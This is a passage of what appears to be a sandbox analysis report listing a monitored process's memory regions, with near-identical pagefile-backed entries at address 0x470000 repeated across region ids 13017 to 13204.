"pagefile_0x0000000000470000" filename = "" Region: id = 13017 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13018 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13019 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13020 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13021 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13022 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13023 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13024 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13025 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13026 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13027 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13028 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13029 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13030 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13031 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13032 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13033 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13034 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13035 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13036 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13037 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13038 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13039 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13040 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13041 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13042 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13043 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13044 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13045 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13046 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 13047 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 13048 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13049 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13050 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13051 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13052 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13053 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13054 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13055 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13056 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13057 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13058 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13059 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13060 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13061 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13062 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13063 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13064 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13065 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13066 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13067 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13068 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13069 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13070 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13071 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13072 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13073 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13074 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13075 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13076 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13077 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13078 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13079 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13080 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13081 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13082 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13083 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13084 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13085 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13086 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13087 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13088 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13089 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13090 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13091 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13092 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13093 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13094 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13095 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13096 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13097 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13098 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13099 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13100 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13101 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13102 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13103 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13104 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13105 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13106 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13107 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13108 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13109 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13110 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13111 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13112 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13113 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13114 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13115 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13116 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13117 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13118 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13119 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13120 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13121 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13122 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13123 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13124 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13125 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13126 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13127 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13128 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13129 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13130 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13131 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13132 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13133 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13134 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13135 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13136 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13137 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13138 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13139 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13140 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13141 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13142 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13143 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13144 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13145 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13146 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13147 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13148 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13149 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13150 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13151 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13152 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13153 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13154 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13155 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13156 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13157 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13158 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13159 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13160 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 13161 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 13162 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13163 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13164 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13165 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13166 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13167 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13168 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13169 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13170 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13171 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13172 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13173 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13174 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13175 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13176 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13177 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13178 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13179 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13180 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13181 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13182 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13183 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13184 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13185 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13186 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13187 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13188 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13189 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13190 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13191 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13192 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13193 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13194 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13195 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13196 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13197 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13198 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13199 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13200 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13201 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13202 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13203 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13204 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = 